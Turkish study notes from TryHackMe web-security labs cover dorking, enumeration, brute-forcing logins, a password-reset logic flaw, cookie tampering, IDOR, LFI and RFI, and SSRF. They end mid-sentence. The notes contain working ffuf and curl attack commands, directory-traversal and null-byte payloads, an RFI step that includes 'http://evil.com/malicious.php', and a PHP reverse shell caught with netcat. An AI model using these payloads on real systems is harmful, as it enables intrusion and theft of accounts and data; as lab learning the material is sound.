- http headers:
- bir web isteğinin veya yanıtının http başlıklarını keşfetmek için manuel olarak inceleme işlemidir.
- burada bize curl komutu ve -v parametersi kullanılarak iligi url de biz X-FLAG çıktısını bulmamızı söylüyor:
- curl http://10.10.64.11 -v yaptığımızda bunu görebiliyoruz: 'X-FLAG: THM{HEADER_FLAG}
- fremawork stack:
- bir web uygulamasının alt yapısında kullanılan yazılım çerçevelerini (framework) ve teknolojilerini manuel olarak keşfetme sürecini ifade eder.
- bize burada çerçeve bulunan bayrağı soruyor.
- bize ' https://static-labs.tryhackme.cloud/sites/thm-web-framework' bu url de document ları inceleteyer araştırmamızı söylüyor
- bu kaynakta bulduğumuz uzantımızı kullnıyoruz: 'http://10.10.64.11/thm-framework-login' ve bizi bir giriş paneline götürdü.
- document larda ek olarak bize 'username:admin&password:admin' olarak bilgi verdi. Hadi deneyelim!
- ve baam!! bulduk: 'THM{CHANGE_DEFAULT_CREDENTIALS}
- OSINT yöntemleri:
- google hackin/dorking:
- google da özel ve daha isabetli sonuçlar elde etmek için parametreli sorgular kullanılır.'(Bu kısıma ek olara ayrıca ele alınması gereken çok önemli bir kodunur!!!)
- örnek olarak bir kaçında bahsedelim:
- site: bu parametre 'site:tryhackme.com' verilen sadece domain adı üzerine bir sorgu yapar ve ek olarak çıkan gerek ibareler ortadan kaldırılır.
- ve filtrelenmiş, daha az ve isabetli sonuçları alırız.
- inurl: bu parameter 'inurl:admin' verilen bu parametreli ifade, linkte 'admin' kelimesi geçenleri bize gösterecektir.
- filetype: bu parametre 'filetype:pdf' belirli bir dosya uzantısını aramak için kullanılır.
- intitle: bu parametre 'intitle:admin' başlıkta bu ifade aranır.
- burada başlıktan kasıt:
-
<head>
<title>Admin Panel - My Website</title>
</head>
web sitesindeki title kısımıdır.
- ve ayrıca google dorking içinde bu site kullnılabilir: 'https://dorksearch.com/' birden fazal dork da atnı anda kullanışabilir.
- araştırma için de: 'https://en.wikipedia.org/wiki/Google_hacking' bu wikipedia kaynak olabilir.
- bize sorulan soruda sadece belirli bir siteden sonuçların gösterilmesi için kullanılan dorku sormuş: 'site:
- wappalyzer:
- bu web sitesi mail,web site, api gibi bir çokaram yaparak kullandığı teknolojileri, kullanılan çerçeveleri, ödeme işlemcileri ve çokdaha fazlasını bulabilir.
- açık kaynak araştırmalarında size yardımcı olacak bir web sitesidir. 'https://www.wappalyzer.com/'
- wayback machine:
- bu websitesi diğer web sitelerinin ve daha fazlasının kaydını tutar. Geçmiş yönelik araştırma yapılmak istendiğinde bu site yararlı olacaktır.
- 'https://archive.org/web/'
- github:
- önce git ne demek buna bakalım: Git: sürüm kontrol sistemdir.
- bir projede ekiple olsun olmasın kimin hangi dosyayı nezaman düzenlediğini ve neyi değiştirdiğini görülebilir.
- bunlar ortak bir depo da kullanılır ve aynı projede birden fazala kişi çalışabilir.
- s3 buckets:
- açık kaynak araştırmalarında amazon un bulut servisi olan 's3' dır. Google dork üzerinde bir örnek gösterelim:
- 'site:s3.amazonaws.com AND inrul:doğukan OR intitle:doğukan'
- burada amazonaws.com da urlde veya başlıkda 'doğukan' taraması yaptık
- bu taramayı amazon bulut servisindeki dosyarda yaptık.
- Automated yöntemleri:
- Discovery: web sitesinde gizli tutulmaya çalışılan dizin ve dosyalara üç farklı araç ile ulaşım sağlayabiliri. Bunlar:
- ffuf:
- örnek kullanım: 'ffuf -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -u http://10.10.208.166/FUZZ'
- dirb:
- örnek kullanım: 'dirb http://10.10.208.166/ /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt'
- gobuster:
- örnek kullanım: 'gobuster dir --url http://10.10.208.166/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt'
- burada gobuster aracı daha hızlı olduğunda genellik bu araç tercih edilir.
- bize burada iki soru soruyor. Bunlar:
- /mo... ile başlayand dizin adı ve log dosya adı:
- /montly
- /development.log
7.Study:'Subdomain Enumeration:(alt domain numaralandırma)
'ÖNEMLİ NOT: KELİ LİSTESİ NE KADAR FAZLA VE İÇERİĞİ GÜNCEL OLMASI TARAMADA KISMINDA DAHA İYİ SONUÇ ÇIKARILMASI ANLAMINA GELİR.!!
- Kısa bilgi:
- bir alan adı için geçerli alt alan adlarını bulma işlemidir.
- amaç: daha fazla potansiyel güvenlik açığı noktası keşfi ve saldırı yüzeyini genişletmek.
- yöntemlerden bir kaçı:
- Brute Force: kaba kuvvet
- OSINT: açık kaynak istihbaratı
- Virtual Host: sanal ana bilgisayar
- OSINT - SSL/TLS Certificates:
- ssl sertifikası üzerinden alt domain tespitini ele alacağız.
- ssl de sertifica şeffaflığı dediğimiz bir kısım var.
- bu, domainlerin almış olduğu sertifikaların hangi tarihte ve kimden aldığını gösteren bir arşiv var.
- 'https://ui.ctsearch.entrust.com/ui/ctsearchui', 'https://crt.sh/'
- sorumuz: crt.sh a git ve tryhackme.com alan adını yaz 2020-12-26 tarihinde açılan oturum adını bul:
- 'store.tryhackme.com
- OSINT - Search Engines:
- burda google dork kullanarak bizden s ile başlayan alt domaini soruyor.
- '-site:www.tryhackme.com site:*.tryhackme.com' bu yapıyı kullanarak bulabilir.
-www.tryhackme.com dahil etme ama onun harici alt domainlerin herpsin ara.
- 'strore.tryhackme.com
- DNS Bruteforce:
- burada alan adını sunucusuna kaba kuvvet saldırısı yaparak alt domain tespiti yapacağız.
- kulanımı: 'dnsrecon -t brt -d <domainname.com>'
- dnsrecon: dns keşfi ve bilgi toplama aracıdır.
- Bu bilgiler arasında DNS kayıtları, zon transferleri, alt alan adları ve daha fazlası yer alabilir.
- -t: kullanılacak aracın netür bir keşif yapacağını belirtir
- brt: bruteforce
- -d: domain adı: örn: tryhackme.com:'NOT bu kullanım ağı zorlayacağında izinsiz ve yetkisiz kullanılmamalı!
- burada bize aracın bulduğu ilk subdomaini sordu:
- 'api.acmeitsupport.thm
- OSINT - Sublist3r:
- burada subdomain tespitinde 'sublist3r' aracı kullanarak yapcağız.
- bu araç arama motorlarını kullanarak arama gerçekleştirir.
- OSINT alt alan adı keşif sürecini hızlandırmak için bu aracı kullanabilir.
- sublist3r -d <domainname.com>
- -d: domain adını belirtilir.
- biz bu araç kullanılarak bululanan ilk subdomaini soruyor:
- 'web55.acmeitsupport.thm
- Virtual Hosts:
- DNS Bruteforce ta olduğu gibi, yaygın olarak kullanılan alt alan adlarından oluşan bir kelime listesi kullanarak bu işlemi yapacağız.(ffuf)
- ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.acmeitsupport.thm" -u http://10.10.30.200 -fs 2395
- elimizdeki DNS domain isim listesi kullanılarak alt domainlari kontrol etmek için yukaridaki kodumuz yazacağız. Öncesin bu liste bizde olmalı.
- -w: taranacak isimler
- -H: host başlığı(FUZZ: burada değişkenimiz)
- -u: domain adresimiz:
- -fs: gösterilmeyecek olanları filtreleyip geri kalanı göstermesini sağlıyoruz.
- ve tarama sonucu elde edilen alt domainler:
- api [Status: 200, Size: 31, Words: 4, Lines: 1, Duration: 71ms]
- delta [Status: 200, Size: 51, Words: 7, Lines: 1, Duration: 69ms]
- yellow [Status: 200, Size: 56, Words: 8, Lines: 1, Duration: 67ms]
8.Study:'Authentication Bypass:Kimlik doğrulama baypası
- kısa bilgi:
- hedef web sitelerinde kullanılan kimlik doğrulama yöntemlerinin atlastılması kosunu ele alınacaktır.
- 'bu kodu oldukça kritik önem arz eder!!
- 'Username Enumeration:
- kullanıcı adı numaralandırma işleminde hedef sistemde bulunan kullanıcı adlarını tespit edeceğiz.
- bunu yaparken 'ffuf' arcını kullanacağız.
- http header live diye bir browser eklentisi var.
- biz bununla browserdan gönderilen ve sunucudan dönen cevapları bizim görmemizi sağlayan bir eklenti.
- ffuf da ayarlama yapabilmemiz için bizim gönderdiğimiz ve bize dönen http bilgilerini gömemiz gerek.
- evet burada: 'username=dogukan1&email=dogukan@gmail.com&password=asd&cpassword=asd' nasıl kullanmamız gerektiği mevcut.
- istediğimiz mesaj: 'username already exists'
- ve burada da uygulama dizin içerik bilgisi:
- Host: 10.10.83.220
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
===>> Content-Type: application/x-www-form-urlencoded 'BURASI DA KULLANDIĞIMIZ İÇERİK TİP BİLGİSİ'
Content-Length: 70
Origin: http://10.10.83.220
Connection: keep-alive
Referer: http://10.10.83.220/customers/signup
Upgrade-Insecure-Requests: 1
- 'başlayalım:
- hedef sistemimiz: hedef istemimiz 'acme it support'
- öncelikle bir kullanıcı kaydı yapalım ve sonra yeni bir kullanıcı daha ekleme işlemi yapalım.
- fakat ilk kullanıcı ile aynı olsun ki sistem tepskisini kontrol edelim.
- aynı kullanıcı adı olmuyor.
- buda demek oluyor ki kullanıcı adlarında deneme yanılma yöntemi ile hangi kullanıcıların var olduğunu anlayabiliriz.
- ama bu da elimizde kelime listesi ile alakalı.
- kullanım:
sudo ffuf -w /usr/share/wordlists/seclists/Usernames/Names/names.txt -X POST -d
"username=FUZZ&email=abcd@gmail.com&password=1231231&cpassword=1231231" -H "Content-Type: application/x-www-form-urlencoded"
-u http://10.10.83.220/customers/signup -mr "username already exists"
==> burda:
- -w: kullanılacak dosyamızın yolu
- -X: http methodu
- -d: kelime listesindekilerin FUZZ anahtar kelimesinin bulunduğu yere deneme yapması. diğer bilgilere sahibiz(random olması birşey değiştirmez)
- -H: http içerik bilgisi
- -u: bu saldırının yapılacağı uzantı
- mr: kullanıcı bulunduğun sayfadaki aranılan metin olacak: username already exists: kullanıc mevcut
- ve sonuç:
admin [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 173ms]
anne-marie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 126ms]
barbara-anne [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 1415ms]
diane-marie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 1447ms]
helen-elizabeth [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2084ms]
marie-jeanne [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 3037ms]
mary-ellen [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2249ms]
robert [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2951ms]
rosie [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2662ms]
simon [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2649ms]
steve [Status: 200, Size: 3720, Words: 992, Lines: 77, Duration: 2721ms]
- 'Brute Force:
- şimdi daha önce kullanıcı adlarını elde ettiğimiz kişilerin şifrelerini elde etmeye çalışacağız.
- bu kısımda yine ffuf aracı kullarak yapcağız.
- giriş denemeleri yaparak bunu yapcağız.
- bir öncekinde elde ettiğimiz username leri bir dosyay yazmamız gerek. mevcut username ler üzerinden şifre denemeleri yapacağız.
- kullanım şeklimiz:
ffuf -w username.txt:W1,/usr/share/wordlists/secLists/Passwords/Common-Credentials/10-million-password-list-top-100.txt:W2
-X POST -d "username=W1&password=W2" -H "Content-Type: application/x-www-form-urlencoded" -u http://10.10.146.5/customers/login -fc 200 -c 302
- açıklama:
- :W1: bizim bulduğumuz kullanıcı adları
- :W2: daha önceden listelenmiş şifrelemeler
- -fc: olumlu eşleşmeleri almak içi 200 durum kodu haricindekileri alacağız yani 302 durum onay kodu gerekli bize!
- -c: sadece 302 durum kodu işaretledik
- sonuç:
- W1:steve,W2:thunder
- 'Logic Flaw:
- bu kısımda ise mantık hatasını ele alacağız. yani bir şeyin işler olması hata vermiyor oluşu
tamamen mantıklı çalıştığı anlamına gelmez!
- bu tür hatalar, sistem üzerinde düşünülerek ve deneme yanılma yöntemi ile bulunur
- bize gösterilen yönergede 'şifre sıfırlama' kısmında bu hatayı bulmaya çalışacağız.
- bu adımda bize robert isim kişi için işlem yapmamız geektiği söyleniyor.
- şifre sıfırlama mantık hatası için ise hedefin mail adresini biliyor olmamız gerekiyor.
- burada curl aracı kullanacağız.
- URL üzerinden veri transferi yapmak için kullanılan güçlü bir komut satırı aracıdır.
- yani browser da yapılan tüm işlemlerin komut satırı hali gibi düşünebiliriz.
- headre live aracı ile önce bir tespitte bulunalım. gelen giden paketler üzerinde analiz yapalım.
- paketi inceledğimizde:
- post methodu ile hedef email mevcut ve ek olarak username var
- şimdi düşünelim, biz ek olarak bir email adresi eklesek username ile bu bilgi sunucuya gider mi?
- eğer şansımız yaver gider de böy bir mantık hatası yakalarsak hedef mail adresini ve buradaki tüm kullanıcıların email adresleriine erişim sağlarız
- öncelikle bu sıfırlama işlemi için gönderilecek hesabımızı açalım.
- kayıt olduktan sonra bize bir mail veriyor örn: 'dogukan@customer.acmeitsupport.thm'
- gelen ticket lar burada görüntülernir. bizde yönlendirmeyi bu hesap üzerine yapacağız.
- kullanım:
-
curl 'http://10.10.63.177/customers/reset?email=robert@acmeitsupport.thm'
-H 'Content-Type: application/x-www-form-urlencoded' -d 'username=robert&email=dogukan@customer.acmeitsupport.thm'
açıklama:
- curl ifadesinden sonra bu kısım: 'http://10.10.63.177/customers/reset?' reset kısmı ve
ek olarak bu kısım: 'email=robert@acmeitsupport.thm' şifresi resetlenecek olan hedef mail adresi
- -H ile http ye özel bir başlık ekliyoruz: 'Content-Type: application/x-www-form-urlencoded'
- -d ile kullanıcı ad robert olan ve mail adresi bizim mail adresini işaret eden ek bir bilgi ekliyoruz.
- 've support ticket imize gelen: ' Password Reset 04/09/2024 04:35 Open' ticket. içine bakalım:
- bize bir sıfırlama bağlantısı verdi: 'http://10.10.63.177/customers/reset/91d253e611662a984f96b88e746b8211'
- hadi oraya gidelim(çok eğlenceli değil mi!? :) )
- ve evet! hedef kullanıcı hesabı içerisindeyiz.
- ona da giden ticket a bakalım ne var!
- ve baam: 'THM{AUTH_BYPASS_COMPLETE}
- 'Cookie Tampering:
- bu kısımda çerezler üzerinde oynama yapacağız.
- cookie lerde değişiklik yaparak kimlik doğrula adımlarını bypass etme yöntemine bakacağız.
- hatırlatma: cookie:
- 'web sunucusu tarafından 'Set-Cookie:' http başlığı ile gönderilen ifadelerin browser tarfından kayıt edilmesi'
've ilgili siteye her gidildiğinde cookie bilgisinin de göndrilmesiyle ilgi bir süreçtir.'
- anlayacağınız üzere yine 'curl' aracını kullanacağız.
- şimdi adım adım ilerleyelim.
- curl 'http://10.10.94.75/cookie-test'
==>> Not Logged In
- herhangi bir girişin olmadığını söyledi bize
- curl -H "Cookie: logged_in=true; admin=false" http://10.10.94.75/cookie-test
==>> Logged In As A User
- şimdi ise bir kullanıcı girişi olduğunu söyledi.
- eğer admin i de true yaparsak:
- Logged In As An Admin - 'THM{COOKIE_TAMPERING}
- ve bayrağı yakaladık!
- bu tip bilgiler her zaman açık metin olarak gösterilmez. Hash üzerinde duralım: geri dönşü olmayan karmaşık etiket sistemi diye biliriz.
3b2a1053e3270077456a79192070aa78 === md5 === 463729
VEhNe0JBU0U2NF9FTkNPRElOR30= === base64 === THM{BASE64_ENCODING}
{"id":1,"admin":true} === base64 === eyJpZCI6MSwiYWRtaW4iOnRydWV9
not base64: dönüştürme işlemi yani değerin başka bir değere dönüştürülmesi
md5: bir şifreleme işlemi yani değerin imzası gibi düşünebiliriz.
9.Study:'IDOR:Güvenli olmayan doğrudan nesne referansları:Insecure Direct Object Reference
- 'kısa bilgi:
- IDOR: web sunucusuna herhangi bir istek atıldığı zaman talep edilen içeriğin,
talep eden için uygun olup olmadığını kontrol etmeden istenilen içeriği göndermesi sonucunda ortaya çıkar.
- örn: diyelimki biz bir siteden alış-veriş yapabiliyoruz ve kendi bilgilerimizi görüntülele biliyoruz.
bir başkasınında ait sunucuya gönderilen istekler üzerinde değişiklik yaparak başkasına ait siparişleri
görüntülene biliyorsa burada 'Güvenli Olmayan Doğrudan Nesne Referansları{IDOR}' ortaya çıakr.
- 'IDOR Encode - Decode:
- her zaman bu IDOR açığı link üzerinde görülmeyebilir.
- mesela farlık konlama teknikleri kullanılarak bu bilgi gönderilebilir.(örn:base64)
- örn: base64(Ok.eq)e => decode(id:10)d=> tamper(id:30)=>encode(Ok.fq)e=>submit
burada değiştirilen değer karşılığında bir değer dönense IDOR zafiyet vardır.
- en yaygın yöntem olarak 'base64'
- 'IDOR Hash Algoritmaları:
- sunucuya gönderilen ek bilgiler hash algoritmaları ile de gerçekleştirilebilir.
- bu yöntemle yapılan şifrelemeyi çözmek çok daha zordur.
- bir önceki adımda bir bilginin başka birşeye dönüşümünü görmüştük ama burada hash algoritmaları kırma süreci gerektiren bir durumdur.
eğer şanslıysak daha önce kırılmış değerler ile karşılaşabiliriz.
bunun için web de bulabileceğimiz sitelerde aratarak veri tabanlarındaki hashler ile karşılaştırma yapabiliriz.
- 'https://crackstation.net/' gibi.
- en sık karşılaşılan hash: 'md5'
- 'IDOR Bulma Yöntemi:
- IDOR güvenlik açığı kontrolü için ilgili sistemde en az iki (2) hesap oluşturarak bir kullanıcıya ait özel alana
başka bir kullanıcı ulaşabiliyor mu denmeler yapar buna bakılabilir.
'ÖNEMLİ KISIM!!!!!
- 'IDOR Nerelerde Bulunur:
- IDOR güvenlik açığı sadece linkte karşımıza çıkmaz:
- bir AJAX isteği olabilir
- bir javascript dosyasına referan ile bilgiler gönderilebilir
- yada url de '/user/details' şeklinde bir yol gözükebilir ve arkada '/user/detais?user_id=123' bu bilgi eklenerek yapılıyor olabilir.
- bunun içinde browser araçları ile http requsets/response paketleri analiz edilerek bu aşama incelenebilir.
- mesla: 'https://10-10-177-60.p.thmlabs.com/api/v1/customer?id=50' bu:
- bizim your account sayfasında öğeyi denetle den network kısmına gidilerek
'cutomer?id=50' yazan satıra çift tıkladığımızda karşımıza:
id 50
username "dogukan"
email "dogukan@gmail.com"
bu bilgiler çıkıyor. bu bilgiler bize özel. Ama bir urlde şunuda görüyoruz:
- '?id=50' eğer bu sayı değiştirirsek mesela:
https://10-10-177-60.p.thmlabs.com/api/v1/customer?id=45 gibi: sonuç:
id 45
username "john911"
email "j@fakemail.thm"
başka kişilerin verilerinede ulaşabiliyoruz.
10.Study:
- 'File İnclusion Nedir:
- web site içerisindeki dosyaların dışında sunucunun içerisindeki farklı dosyalara da ulaşılabiliyorsa
burada FI(File Inclusion) açığı var demektir.
- 'Path Traversal Güvenlik Açığı:
- bu güvenlik açığını ortaya çıkaran şey yeterli kimlik doğrulama yönteminin kullanılmamasıdır
- ve özel karakterlere karşı herhangi bir kısıtlamanın bulunmamasıdır.
'not: file_get_contents fonksiyonu sunucu daki dosyaların bulunmasını sağlar
- erişim kısıtlaması ve talep eden kişinin talep ettiği şeye gerçekten yetkisi varmı durumunun
kontrol edilmemesi bu açığın sömürülmesine yol açar.
- bunda da 'Directory traversal' veya 'Path Traversal' Güvenlik Açığı denir.
- bu fonksiyon site için iyi de olsa kullanım kısıtı,kimlik doğrulama gibi önlemlerin alınması gerekiyor==>'file_get_contents'
- 'Local File Include(Yerel Dosya Ekleme) Güvenlik Açığı:
- web uygulamalarındaki bir güvenlik açığıdır. Bu açık,
saldırganların sunucudaki dosyaları izinsiz olarak görüntülemelerine veya çalıştırmalarına olanak tanır.
LFI, kullanıcı girdilerinin yeterince doğrulanmaması durumunda ortaya çıkar. Saldırganlar,
örneğin bir URL parametresini manipüle ederek sunucudaki kritik dosyalara erişebilir.
LFI dan korunmak için kullanıcı girdilerini doğrulamak, dosya yollarını sabitlemek
ve güvenli kodlama uygulamalarını benimsemek önemlidir.
- 'önlem olarak:
- Kullanıcı Girdilerini Doğrulama: Girdi olarak dosya yolu alırken, girdiyi dikkatlice doğrulamak.
- Sabitleme: Dosya yollarını sabit ve güvenli bir şekilde tanımlamak.
- Güvenli Kodlama: include ve require gibi fonksiyonlarda kullanıcıdan gelen verileri doğrudan kullanmamak.
- Beyaz Liste: sadece belirlenen istek yapısının çalıştırılması.
'lab1: düzgün yapılanma olmadığında /etc/passdw dosyasını okuyabiliyoruz.
- bize istel url ini sordu: '/lab1.php?file=/etc/passwd'
lab2: burada da inlude fonksiyonunda belirtilen dizinini sordu: 'includes'
- 'Local File İnclude Kısıtlamaları Aşmak:
- lab dan devam edelim:
- lab3:
burada '../../../../etc/passwd' dosyamızı görüntülemek istediğimiz de passwd.php olmuş.
bunu için: php de '%00': kendinden sonra gelen karakterlerin yok sayılmasını sağlayan özel bir karakter.
şöyle değiştirelim: '../../../../etc/passwd%00'
yani: '/lab3.php?file=../../../../etc/passwd%00' bunu url de yapmamız gerek!
ve bam kullanıcı dosyasına ulaştık.
sonradan eklenen .php yi devre dışı bıraktık.
- lab4:
- burada '../../../../etc/passwd' bu ifade bir bütün olarak engellenmiş olabilir.
- ../ bir üst dizini ifade ederken ./ mevcut dizini gösterir
- bunu için de: '../../../../etc/./passwd' etc dizinini tekrar ederek bu açıktan faydalandık
- dizin geçişine :file_get_contents
bunu öğrenmek için: olmayan bir dosya adı girilerek gelen hatada bulabiliriz.
- lab5: kullanılan yöntem: '....//....//....//....//etc//passwd'
- dizin geçişleri filtrelenmiş olduğundan ek olarak: ../ ,/ ekledilk ve giriş yapmış olduk.
- lab6:
- önce burada ne var bir görüntülemeye çalışalım
burada sadece THM-profile dizinindeki dosyaları okuyabileceğimiz söyleniyor.
şöyle yaparsak: 'THM-profile/../../../../etc/os-release'
'os-release' dosyasını okuyabiliyoruz. burada bize bu dosya içindeki VERSION_ID unu soruyor: 12.04
- 'Remote File Inclusion: uzak dosya ekleme
- burada da bir önceki LFI gibi bir durum var ama bu sefer yerel sunucu yerine uzak sunucuda bu işlemler
sanki yereldeymiş gibi yapılıyor
- bunun için playgroud kısmında adımlarımız:
- web sunucusu için kendi çalışma ortamını kullanacağız ayarlama yapmak için önce ip adresimizi öğrenelim
ifconfig: 10.9.1.85 (openvpn bağlantısıdan tryhackme den alınan ip)
- daha sonra:
dosymız: '/usr/share/webshells/php/php-reverse-shell.php'
burada düzenleme yapacağız.
ip ve port alanları.(port sabit kalabilir)(sudo nano)
- daha sonra:
çalışma ortamımızı geçiçi bir web server a döndürmek için:
python3 -m http.server
-şimdi bağlantıyı dinlemeye almamız gerek. bir bağlantı gelince bunu alalım:
yeni bir pencerede:
netcat aracı kullanarak shell i oluştururken kullandığımız 1234 portunu dinleyeceğiz.
nc -lvp 1234
- şimdi tryhacme de kendi ip miz üzerinden bir shell dosyamızı yükleyeceğiz.
mevcut sistem ele geçirildi.
netcat aracının çalıştığı yerde dolar işareti çıkacak
burada: hostname yazarak bu görevi çıkan bilgi ile son kısımdaki son soruyu cevaplaya biliriz.
- 'Ne Nerelerde Bulunur:
- 'Yerel Dosya Ekleme (LFI):
- giriş noktası bulma:
- get, post, cookie veya http başlıkları gibi yollarla sunucuya dosya yolu sağlayan bir giriş noktası bul
- geçerli dosya girdisi deneme:
- beklenen bir dosya adı veya yolu ile sunucunun normal çalışmasını gözlemleyin:örn: 'index.php?page=about.php'
- geçersiz girdilerle test:
- özel karakterler ve sistem dosyaları gibi girdiler ile hata mesajları veya sistem dosyalarına erişim sağlamayı deneyin:
örn:'../../etcpasswd'
- doğrulama ve filtreleme kontrolü:
- sunucuya gönderilen dosya yolları üzerinde hangi filtrelemelerin ve doğrulamaların yapıldığını anlamaya çalışın
- hassa dosyları okuma:
- giriş noktlarını kullanarak sunucu üzerindeki hassas dosyaları okumaya çalışın: örn:
- '/etc/passwd, C:\windows\system32\drivers\etc\hosts'
- 'Uzaktan Dosya Ekleme (RFI):
- Uzak Dosya Eklemeye Açık Noktaları Bulma:
- get, psot gibi yöntemlerle dosya yolu alabilecek yöntemler bulun
- Geçerli Uzak Dosya Girdisi Deneme:
- uzak bir sunucudan erişilebilir dosyayı eklemeyi deneyin:
'http://evil.com/malicious.php'
- Geçersiz URL lerle Test:
- hatalı veya kötü amaçlı URL ler girerek sunucunun nasıl tepki verdiğini kontrol edin
- Sunucu Davranışını Anlama:
- uzak dosyaların ne şekilde dahil edildiğini ve sunucunun nasıl tepki verdiğini anlamaya çalışın
- Zararlı Dosya Yükleme:
- eğer RFI açığı varsa, uzaktaki sunucudan zararlı bir dosya yükleyip çalıştırmayı deneyin
- 'Dizin Geçişi (Directory Traversal)
- Dizin Geçişine İzin Veren Giriş Noktası Bulma
- giriş noktasından dosya yollarını belirtebileceğiniz bir alan bulun
- Geçerli Dosya Yolu Deneme
- normal bir dosya yolu ile sunucunun beklene dosyayı görüntüleyip görüntülemediğini kontrol edin
- Dizin Geçişi Karakterleri Kullanma
- ../, . , ..\\ , %00 gibi karakterler ekleyerek sunucunun dizin yapısında geri gitmeye çalışın
- ../../etc/passwd
- Hataları ve Dosya Yollarını İzleme
- geçersiz dizin geçişi denemeleri sırasında sunucunun hata mesajları veya açığa çıkan dosya yolları olup olmadığını kontrol edin
- Hassas Dosyalara Erişim Deneme
- dizin geçişi açığını kullanarak sunucu üzerindeki hassas dosyalara erişmeye çalışın
- passwd, config.php, web.config...
- 'chalenge:
- bize post methodu ile file parametresi kullanılarak dosya yolla deniyor aradığımız 'etc/flag1'
biz bunu browserda inpector aracı kullanarak yapacağız (öğeyi denetle)
burda gönderim kısmını bulup post ile değiştireceğiz
dikkat: bu anlı işlem için geçerli bir sonraki tekrarlamamız gerek
daha sonra giriş kısmına 'etc/flag1' yazarak sonucu bulalım: F1x3d-iNpu7-f0rrn
- burada inpectet==> store kısmında value değerini deneyerek bakalım önce:
- admin: ama bir fonksiyon hatası aldık
- ../../../../etc/flag2: dosyamıza .php eklendi
../../../../etc/flag2.%00 ever sonucu aldık: c00k13_i5_yuMmy1
- bu kısım biraz zorlu oldu o yüzde curl aracını kullanacağız:
- hatırlarsak curl aracımız browser ın komut satırı olanıydıy. Hadi nasıl kullandığımıza bakalım
- öğrendiğimiz browser üzerinde yapılan eğişiklikler bize yardımcı olamadı bu görevede çüknü filtreleme mevcut
- bunu için comut satırı arcı olan crul ü kullanalım ve açıklayalım:
- curl -X POST -d "file=../../../etc/flag3%00" http://10.10.167.25/challenges/chall3.php --output flag3
açıklama:
curl: url ler üzerinden veri iletmek için kullanılan bir komut satırıdır.
web sitelerine http/https istekleri yapmak için yaygın olarak kullanılır
- -X POST: http post yöntemi ile isteğin gönderileceği belirtilir
- -d "file=../../../../etcflag3%00": post isteği ile gönderilecek veriyi belirtir.
burada 'file' adında bir parametreye değer olarak:'../../../../etc/flag3%00' veriliyor
bu ifade bir kaç önemli parçaya sahip:
../../../../etc/flag3: Director Traversal saldırısı yapmaya çalışan bir dosya yoludur
ilgili sunucu kök dizinde itibaren dört diizn geri giderek '/ect/flag3' dosyasını arar.
'%00': null byte olarak bilinir. Eski sistemlerde dizge sonlandırıcı olarak kullanılır.
bazı durumlardad, sunucu tarafından dosya adı ile birlikte gönderilen fazladan
karakteri yok saymak için kullanılır.
- http://10.10.167.25/challenges/chal3.php: POST isteğinin gönderileceği hedef URL dir. İlgili dosya yolu ile
PHP betiğine bir istek gönderilir.
- --output flag3: sunucudan dönen yanıtı bir dosyay kaydeder.
- flag dosyamızı açtığımızda anlamsız ifadeler gelebilir. formatı UTF8 yaparak aşağılara doğru inildikçe
dosya içeriğinin bayrağını bulabilirsiniz.: P0st_1s_w0rk1in9
yada:
mv flag3 flag3.html|firefox flag3.html
yaparak dosyamızı görüntüleyebiliriz.
11.Study:'Server-Side Request Forgery (SSRF): Sunucu Tarafı İstek Sahteciliği
- 'SSRF nedir?:
- farklı bir web sunucusundan hedef sistem üzerinde ek veya düzenlenmiş
bir http isteği yapmasına neden olan bir güvenlik açığıdır.
yani x kişisi A.com web sitesindedir ve parola değiştirme istiyordur
işlemi A.com web sitesinde yapıyorsunuz ama bu web sitesinde ayaptığı
işlem B.com sistesinde gerçekleşiyor.
yani: x kişisi A.com web sitesindeki şifresini değiştirmeye çalışıyor
ama bu B.com daki şifreyi değiştiriyor ve bu bilgileri saldırgana
aktarıyor.
- 'iki türlü SSRF var:
1: değiştirilen bilgilerin veya yapılan işlem bilgilerinin saldırgana döndürüldüğü
2: Blind(Kör) SSRF:
- burada ise değişiklik yapılan bilgiler saldırgana döndürülnüyor.
- 'bu istismar ile:
- yetkisiz alanlara erişim
- müşteri/kurum verilerine erişilebilir
- kimlik doğrulama verilerine erişilebilir
- 'SSRF ile ilgili bir örnek yapalım:
- burada 'website.thm' => A ve içeriklerin getirldiği 'api.website.thm' => B var.
- yani istemci, A sunucusudan bir şey istendiğinde
B sunucusu bunu karşılayarak A ya, A da istemciye gönderim sağlar.
- örnek istek: http://website.thm/stock?url=http://api.website.thm/api/stock/item?id=123 gibi.
- ama bizim hacker rahat durur mu durmaz. ne yapıyor, çeşitli arçlar kullanarak(Burpsuit)
-http://website.thm/stock?url=http://api.website.thm/api/user olarak değiştiriyor.
- sunucudaki kullanıcı listesine ulaşmak istiyor.
- 'başka bir örnek:
- http://website.thm/stock?url=/item?id=123
- ama bizim çocuk ne yapıyor:
- http://website.thm/stock?url=/../user yaparak
buradaki bilgilerin kendine gelmesini sağlıyor (Director Traversal)
- 'başka bir durum:
- koşullu bir durum olarak: http://website.thm/stock?server=api&id=123 olan normal istek
- bizim çocuk taradından:
http://website.thm/stock?server=api.website.thm/api/user&x=&id=123 yaparak
burda bir özel durum oluştu: &x= bu üç ifade yan yana geldiğinde kendinden sonra gelen
değerin yok sayılması anlamına geliyor.
yani: bu http://website.thm/stock?server=api.website.thm/api/user&x=&id=123 sunucuya
giderken:
http://website.thm/stock?server=api.website.thm/api/user&x=website.thm/api/stock/item?id=123
gidiyor ve şu kısım:
website.thm/api/stock/item?id bir parametre değeri sayılarak hacker a 123 id nurasına sahip
